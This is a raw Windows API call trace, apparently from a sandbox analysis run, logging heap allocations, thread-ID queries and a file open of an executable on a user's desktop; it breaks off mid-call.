GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x334cee0, Size=0xc4) returned 0x2cdef10 [0075.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cdef10, Size=0xf8) returned 0x2cbacf8 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbacf8, Size=0x130) returned 0x2cb6648 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.813] GetCurrentThreadId () returned 0x9b0 [0075.813] GetCurrentThreadId () returned 0x9b0 [0075.813] GetCurrentThreadId () returned 0x9b0 [0075.815] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2fc [0075.816] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b88e0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0075.816] GetFileType (hFile=0x300) returned 0x1 [0075.817] GetFileType (hFile=0x300) returned 0x1 [0075.817] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b895c | out: lpFileInformation=0x9b895c) returned 1 [0075.817] FileTimeToLocalFileTime (in: lpFileTime=0x9b8970, lpLocalFileTime=0x9b89a0 | out: lpLocalFileTime=0x9b89a0) returned 1 [0075.817] FileTimeToSystemTime (in: lpFileTime=0x9b89a0, lpSystemTime=0x9b8990 | out: lpSystemTime=0x9b8990) returned 1 [0075.817] FileTimeToLocalFileTime (in: lpFileTime=0x9b8968, lpLocalFileTime=0x9b89a0 | out: lpLocalFileTime=0x9b89a0) returned 1 [0075.817] FileTimeToSystemTime (in: lpFileTime=0x9b89a0, lpSystemTime=0x9b8990 | out: lpSystemTime=0x9b8990) returned 1 [0075.817] FileTimeToLocalFileTime (in: lpFileTime=0x9b8960, lpLocalFileTime=0x9b89a0 | out: lpLocalFileTime=0x9b89a0) returned 1 [0075.817] FileTimeToSystemTime (in: lpFileTime=0x9b89a0, lpSystemTime=0x9b8990 | out: lpSystemTime=0x9b8990) returned 1 [0075.817] GetLastError () returned 0x0 [0075.817] GetLastError () returned 0x0 [0075.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0075.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.817] GetLastError () returned 0x0 [0075.817] GetLastError () returned 0x0 [0075.817] GetLastError () returned 0x0 [0075.817] GetLastError () returned 0x0 [0075.817] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.818] CloseHandle (hObject=0x300) returned 1 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.818] GetLastError () returned 0x0 [0075.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32fa640, Size=0x19c5) returned 0x32fa640 [0075.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33da340 | out: hHeap=0x2ad0000) returned 1 [0075.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5f5) returned 0x33da340 [0075.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x27c) returned 0x33de870 [0075.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c844a0, Size=0x20) returned 0x30282d8 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x2a18e18 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19578 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0288 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0288, Size=0xb8) returned 0x325f830 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d1830 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1830, Size=0x120) returned 0x2c374c0 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33db708 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33db708, Size=0x1a8) returned 0x3028938 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c305a0 [0075.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38e) returned 0x33cd990 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c305a0, Size=0x250) returned 0x2ac3d58 [0075.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a1) returned 0x33dc488 [0075.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x203) returned 0x33dbfe0 [0075.819] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2ccc0 [0075.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2ccc0 | out: hHeap=0x2ad0000) returned 1 [0075.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32fa640 | out: hHeap=0x2ad0000) returned 1 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f4c68 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2dc) returned 0x33da940 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x32277a8 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x32c9678 [0075.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32277a8 | out: hHeap=0x2ad0000) returned 1 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc64e8 [0075.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32c9678 | out: hHeap=0x2ad0000) returned 1 [0075.820] GetCurrentThreadId () returned 0x9b0 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6c) returned 0x31da0f0 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7a8 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7b8 [0075.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x31d6858 [0075.821] GetCurrentThreadId () returned 0x9b0 [0075.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x104) returned 0x2a1a488 [0075.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa8) returned 0x2cb9bb8 [0075.821] GetCurrentThreadId () returned 0x9b0 [0075.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x84) returned 0x31e0320 [0075.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844d0 [0075.821] GetCurrentThreadId () returned 0x9b0 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33da340 | out: hHeap=0x2ad0000) returned 1 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de870 | out: hHeap=0x2ad0000) returned 1 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33da940 | out: hHeap=0x2ad0000) returned 1 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.821] GetCurrentThreadId () returned 0x9b0 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d8328 | out: hHeap=0x2ad0000) returned 1 [0075.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84488 | out: hHeap=0x2ad0000) returned 1 [0075.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x800) returned 0x32fd2d8 [0075.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84500 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f4ae0 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.822] GetCurrentThreadId () returned 0x9b0 [0075.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843f8 [0075.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de808 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0075.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de808 | out: hHeap=0x2ad0000) returned 1 [0075.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84560 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84638 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84620, Size=0x20) returned 0x3028558 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.823] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84620, Size=0x20) returned 0x30281c0 [0075.823] GetCurrentThreadId () returned 0x9b0 [0075.824] GetCurrentThreadId () returned 0x9b0 [0075.824] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281c0, Size=0x40) returned 0x2a19250 [0075.824] GetCurrentThreadId () returned 0x9b0 [0075.824] GetCurrentThreadId () returned 0x9b0 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845a8 [0075.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845a8 | out: hHeap=0x2ad0000) returned 1 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84650 [0075.824] GetCurrentThreadId () returned 0x9b0 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84680 [0075.824] GetCurrentThreadId () returned 0x9b0 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845a8 [0075.824] GetCurrentThreadId () returned 0x9b0 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0075.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845c0 [0075.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845c0 | out: hHeap=0x2ad0000) returned 1 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845c0 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846b0 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84410 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7e8 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0075.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84470 [0075.825] GetCurrentThreadId () returned 0x9b0 [0075.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0075.825] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x18) returned 0x31838c0 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84440 [0075.826] GetCurrentThreadId () returned 0x9b0 [0075.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84440 | out: hHeap=0x2ad0000) returned 1 [0075.826] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838c0, Size=0x14) returned 0x3183860 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84440 [0075.826] GetCurrentThreadId () returned 0x9b0 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84488 [0075.826] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183860, Size=0x10) returned 0x2c844a0 [0075.826] GetCurrentThreadId () returned 0x9b0 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6b8 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849e0 [0075.826] GetCurrentThreadId () returned 0x9b0 [0075.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849e0 | out: hHeap=0x2ad0000) returned 1 [0075.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84770 [0075.826] GetCurrentThreadId () returned 0x9b0 [0075.826] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848d8 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84818 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84830 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84848 [0075.827] GetCurrentThreadId () returned 0x9b0 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84740 [0075.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84740 | out: hHeap=0x2ad0000) returned 1 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84998 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84860 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84788 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847a0 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84938 [0075.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84938 | out: hHeap=0x2ad0000) returned 1 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848c0 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84908 [0075.828] GetCurrentThreadId () returned 0x9b0 [0075.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847b8 [0075.829] GetCurrentThreadId () returned 0x9b0 [0075.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de788 [0075.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849c8 [0075.829] GetCurrentThreadId () returned 0x9b0 [0075.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849c8 | out: hHeap=0x2ad0000) returned 1 [0075.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848a8 [0075.829] GetCurrentThreadId () returned 0x9b0 [0075.829] GetCurrentThreadId () returned 0x9b0 [0075.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84968 [0075.829] GetCurrentThreadId () returned 0x9b0 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84728 [0075.830] GetCurrentThreadId () returned 0x9b0 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6f8 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84878 [0075.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84878 | out: hHeap=0x2ad0000) returned 1 [0075.830] GetCurrentThreadId () returned 0x9b0 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847e8 [0075.830] GetCurrentThreadId () returned 0x9b0 [0075.830] GetCurrentThreadId () returned 0x9b0 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84740 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847d0 [0075.830] GetCurrentThreadId () returned 0x9b0 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84800 [0075.830] GetCurrentThreadId () returned 0x9b0 [0075.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849e0 [0075.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849e0 | out: hHeap=0x2ad0000) returned 1 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84980 [0075.831] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84860, Size=0x20) returned 0x3028558 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84860 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849b0 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84758 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7f8 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84878 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84878 | out: hHeap=0x2ad0000) returned 1 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849c8 [0075.831] GetCurrentThreadId () returned 0x9b0 [0075.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84878 [0075.832] GetCurrentThreadId () returned 0x9b0 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849e0 [0075.832] GetCurrentThreadId () returned 0x9b0 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84890 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0075.832] GetCurrentThreadId () returned 0x9b0 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846f8 [0075.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846f8 | out: hHeap=0x2ad0000) returned 1 [0075.832] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c848d8, Size=0x10) returned 0x2c846f8 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848d8 [0075.832] GetCurrentThreadId () returned 0x9b0 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84920 [0075.832] GetCurrentThreadId () returned 0x9b0 [0075.832] GetCurrentThreadId () returned 0x9b0 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848f0 [0075.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84938 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84950 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6e8 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84710 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c08 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a88 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a88 | out: hHeap=0x2ad0000) returned 1 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cc8 [0075.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b90 [0075.833] GetCurrentThreadId () returned 0x9b0 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b18 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84aa0 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a70 [0075.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a70 | out: hHeap=0x2ad0000) returned 1 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bf0 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c68 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bd8 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] GetCurrentThreadId () returned 0x9b0 [0075.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7d8 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a70 [0075.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a70 | out: hHeap=0x2ad0000) returned 1 [0075.835] GetCurrentThreadId () returned 0x9b0 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a70 [0075.835] GetCurrentThreadId () returned 0x9b0 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ce0 [0075.835] GetCurrentThreadId () returned 0x9b0 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c20 [0075.835] GetCurrentThreadId () returned 0x9b0 [0075.835] GetCurrentThreadId () returned 0x9b0 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de808 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c38 [0075.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c38 | out: hHeap=0x2ad0000) returned 1 [0075.835] GetCurrentThreadId () returned 0x9b0 [0075.835] RtlAllocateHeap (HeapHandle=0x2ad0000, 